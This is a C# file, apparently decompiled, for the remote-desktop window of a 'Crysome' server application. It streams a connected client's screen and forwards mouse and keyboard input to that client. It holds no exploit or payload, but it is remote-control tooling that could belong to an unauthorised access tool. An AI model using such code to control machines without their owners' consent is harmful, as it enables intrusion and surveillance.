Files
crysome/Crysome.Server/Crysome.Server.View/RemoteDesktopWindow.cs
T

572 lines
16 KiB
C#
Raw Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media.Imaging;
using System.Windows.Threading;
using Crysome.Common.Network.Packets.Client;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;
namespace Crysome.Server.View;
public class RemoteDesktopWindow : FluentWindow, IComponentConnector
{
private readonly ClientInfo _client;
private readonly ManageClientsViewModel _vm;
private int _remoteWidth = 1920;
private int _remoteHeight = 1080;
private bool _streaming;
private volatile byte[] _latestJpeg;
private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap;
private System.Drawing.Bitmap _decodeBitmap;
private readonly object _frameLock = new object();
private bool _renderHooked;
private ScreenInfo[] _screens;
private DateTime _lastMouseMove = DateTime.MinValue;
private System.Windows.Controls.ComboBox _captureModeCombo;
internal TextBlock TitleText;
internal ComboBox ScreenCombo;
internal Button StartBtn;
internal Button StopBtn;
internal Button MinimizeBtn;
internal Button MaximizeBtn;
internal Button CloseBtn;
internal Border DesktopArea;
internal Viewbox DesktopViewbox;
internal Image DesktopImage;
internal TextBlock StatusText;
internal TextBlock QualityText;
internal ToggleSwitch MouseControlSwitch;
internal ToggleSwitch KeyboardControlSwitch;
private bool _contentLoaded;
public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm)
{
InitializeComponent();
_client = client;
_vm = vm;
((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?");
TitleText.Text = ((Window)this).Title;
// Find the parent of ScreenCombo to insert our capture mode combo
var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel;
if (screenParent != null)
{
_captureModeCombo = new System.Windows.Controls.ComboBox();
_captureModeCombo.Items.Add("Auto (DXGI → GDI+)");
_captureModeCombo.Items.Add("DXGI Only");
_captureModeCombo.Items.Add("GDI+ Only");
_captureModeCombo.SelectedIndex = 0;
_captureModeCombo.Width = 160;
_captureModeCombo.Margin = new Thickness(8, 0, 0, 0);
// Insert after ScreenCombo
int idx = screenParent.Children.IndexOf(ScreenCombo);
if (idx >= 0)
screenParent.Children.Insert(idx + 1, _captureModeCombo);
else
screenParent.Children.Add(_captureModeCombo);
}
((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true);
((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true);
((Window)this).Closed += delegate
{
if (_renderHooked)
{
_renderHooked = false;
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
}
if (_streaming)
{
_vm.StopRemoteDesktop(_client);
}
_vm.UnregisterDesktopFrames(_client);
try { _decodeBitmap?.Dispose(); } catch { }
};
((FrameworkElement)this).Loaded += delegate
{
RequestScreenList();
};
}
private void RequestScreenList()
{
ScreenCombo.Items.Clear();
ScreenCombo.Items.Add("Loading...");
ScreenCombo.SelectedIndex = 0;
ScreenCombo.IsEnabled = false;
_vm.GetScreens(_client, delegate(ScreensResponsePacket resp)
{
_screens = ((resp != null) ? resp.Screens : null);
ScreenCombo.Items.Clear();
if (_screens == null || _screens.Length == 0)
{
ScreenCombo.Items.Add("Primary (default)");
ScreenCombo.SelectedIndex = 0;
}
else
{
for (int i = 0; i < _screens.Length; i++)
{
ScreenInfo val = _screens[i];
string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")";
if (val.IsPrimary)
{
text += " ★";
}
ScreenCombo.Items.Add(text);
}
for (int j = 0; j < _screens.Length; j++)
{
if (_screens[j].IsPrimary)
{
ScreenCombo.SelectedIndex = j;
break;
}
}
if (ScreenCombo.SelectedIndex < 0)
{
ScreenCombo.SelectedIndex = 0;
}
}
ScreenCombo.IsEnabled = true;
});
}
private int GetSelectedScreenIndex()
{
if (_screens == null || _screens.Length == 0)
{
return -1;
}
int selectedIndex = ScreenCombo.SelectedIndex;
if (selectedIndex < 0 || selectedIndex >= _screens.Length)
{
return -1;
}
return selectedIndex;
}
private void OnPreviewKeyDown(object sender, KeyEventArgs e)
{
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
{
int num = KeyInterop.VirtualKeyFromKey(e.Key);
if (num >= 0 && num <= 255)
{
_vm.SendRemoteInput(_client, 3, 0, 0, num);
e.Handled = true;
}
}
}
private void OnPreviewKeyUp(object sender, KeyEventArgs e)
{
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
{
int num = KeyInterop.VirtualKeyFromKey(e.Key);
if (num >= 0 && num <= 255)
{
_vm.SendRemoteInput(_client, 4, 0, 0, num);
e.Handled = true;
}
}
}
private void StartBtn_Click(object sender, RoutedEventArgs e)
{
_streaming = true;
((UIElement)(object)StartBtn).IsEnabled = false;
((UIElement)(object)StopBtn).IsEnabled = true;
ScreenCombo.IsEnabled = false;
byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0);
string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto";
StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard.";
QualityText.Text = "Quality: HD (80)";
DesktopArea?.Focus();
int selectedScreenIndex = GetSelectedScreenIndex();
if (!_renderHooked)
{
_renderHooked = true;
System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender;
}
_vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData)
{
if (imageData != null && imageData.Length > 0)
_latestJpeg = imageData;
}, delegate(int quality)
{
string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low")));
int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2))));
QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)";
});
}
private void OnVsyncRender(object sender, EventArgs e)
{
if (!_streaming)
return;
byte[] jpeg = _latestJpeg;
if (jpeg == null)
return;
_latestJpeg = null;
try
{
using (var ms = new MemoryStream(jpeg))
{
var bmp = _decodeBitmap;
if (bmp != null)
{
try { bmp.Dispose(); } catch { }
}
_decodeBitmap = new System.Drawing.Bitmap(ms);
bmp = _decodeBitmap;
int w = bmp.Width;
int h = bmp.Height;
if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h)
{
_writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap(
w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null);
DesktopImage.Source = _writeableBitmap;
_remoteWidth = w;
_remoteHeight = h;
}
var bmpData = bmp.LockBits(
new System.Drawing.Rectangle(0, 0, w, h),
System.Drawing.Imaging.ImageLockMode.ReadOnly,
System.Drawing.Imaging.PixelFormat.Format24bppRgb);
_writeableBitmap.Lock();
try
{
IntPtr src = bmpData.Scan0;
IntPtr dst = _writeableBitmap.BackBuffer;
int srcStride = bmpData.Stride;
int dstStride = _writeableBitmap.BackBufferStride;
if (srcStride == dstStride)
{
unsafe
{
Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h);
}
}
else
{
int copyLen = Math.Min(srcStride, dstStride);
for (int y = 0; y < h; y++)
{
unsafe
{
Buffer.MemoryCopy(
(byte*)src + y * srcStride,
(byte*)dst + y * dstStride,
copyLen, copyLen);
}
}
}
_writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h));
}
finally
{
_writeableBitmap.Unlock();
bmp.UnlockBits(bmpData);
}
}
}
catch
{
}
}
private void StopBtn_Click(object sender, RoutedEventArgs e)
{
_streaming = false;
((UIElement)(object)StartBtn).IsEnabled = true;
((UIElement)(object)StopBtn).IsEnabled = false;
ScreenCombo.IsEnabled = true;
_vm.StopRemoteDesktop(_client);
_vm.UnregisterDesktopFrames(_client);
if (_renderHooked)
{
_renderHooked = false;
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
}
_latestJpeg = null;
try { _decodeBitmap?.Dispose(); } catch { }
_decodeBitmap = null;
_writeableBitmap = null;
DesktopImage.Source = null;
StatusText.Text = "Stopped.";
QualityText.Text = "";
}
private void MinimizeBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).WindowState = WindowState.Minimized;
}
private void MaximizeBtn_Click(object sender, RoutedEventArgs e)
{
if (((Window)this).WindowState == WindowState.Maximized)
{
((Window)this).WindowState = WindowState.Normal;
((ContentControl)(object)MaximizeBtn).Content = "□";
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize";
}
else
{
((Window)this).WindowState = WindowState.Maximized;
((ContentControl)(object)MaximizeBtn).Content = "❒";
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore";
}
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).Close();
}
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
{
try
{
((Window)this).DragMove();
}
catch
{
}
}
private void ImageToRemoteCoords(Point p, out int x, out int y)
{
double actualWidth = DesktopViewbox.ActualWidth;
double actualHeight = DesktopViewbox.ActualHeight;
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
{
x = 0;
y = 0;
return;
}
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
double num2 = (double)_remoteWidth * num;
double num3 = (double)_remoteHeight * num;
double num4 = (actualWidth - num2) / 2.0;
double num5 = (actualHeight - num3) / 2.0;
x = (int)((p.X - num4) / num);
y = (int)((p.Y - num5) / num);
if (x < 0)
{
x = 0;
}
if (x >= _remoteWidth)
{
x = _remoteWidth - 1;
}
if (y < 0)
{
y = 0;
}
if (y >= _remoteHeight)
{
y = _remoteHeight - 1;
}
}
private void DesktopImage_MouseMove(object sender, MouseEventArgs e)
{
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
if (!_streaming)
{
return;
}
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
{
DateTime utcNow = DateTime.UtcNow;
if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0))
{
_lastMouseMove = utcNow;
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
_vm.SendRemoteInput(_client, 0, x, y, 0);
}
}
}
private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e)
{
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
if (_streaming)
{
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
{
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
_vm.SendRemoteInput(_client, 1, x, y, buttonOrKey);
}
}
}
private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e)
{
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
if (_streaming)
{
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
{
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
_vm.SendRemoteInput(_client, 2, x, y, buttonOrKey);
}
}
}
private void DesktopArea_Focus(object sender, MouseButtonEventArgs e)
{
DesktopArea?.Focus();
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
//IL_0087: Expected O, but got Unknown
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
//IL_00ab: Expected O, but got Unknown
//IL_00c5: Unknown result type (might be due to invalid IL or missing references)
//IL_00cf: Expected O, but got Unknown
//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
//IL_00f3: Expected O, but got Unknown
//IL_010d: Unknown result type (might be due to invalid IL or missing references)
//IL_0117: Expected O, but got Unknown
//IL_01fc: Unknown result type (might be due to invalid IL or missing references)
//IL_0206: Expected O, but got Unknown
//IL_0209: Unknown result type (might be due to invalid IL or missing references)
//IL_0213: Expected O, but got Unknown
switch (connectionId)
{
case 1:
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
break;
case 2:
TitleText = (TextBlock)target;
break;
case 3:
ScreenCombo = (ComboBox)target;
break;
case 4:
StartBtn = (Button)target;
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
break;
case 5:
StopBtn = (Button)target;
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
break;
case 6:
MinimizeBtn = (Button)target;
((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click;
break;
case 7:
MaximizeBtn = (Button)target;
((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click;
break;
case 8:
CloseBtn = (Button)target;
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
break;
case 9:
DesktopArea = (Border)target;
DesktopArea.MouseLeftButtonDown += DesktopArea_Focus;
break;
case 10:
DesktopViewbox = (Viewbox)target;
break;
case 11:
DesktopImage = (Image)target;
DesktopImage.MouseMove += DesktopImage_MouseMove;
DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown;
DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp;
DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown;
DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp;
break;
case 12:
StatusText = (TextBlock)target;
break;
case 13:
QualityText = (TextBlock)target;
break;
case 14:
MouseControlSwitch = (ToggleSwitch)target;
break;
case 15:
KeyboardControlSwitch = (ToggleSwitch)target;
break;
default:
_contentLoaded = true;
break;
}
}
}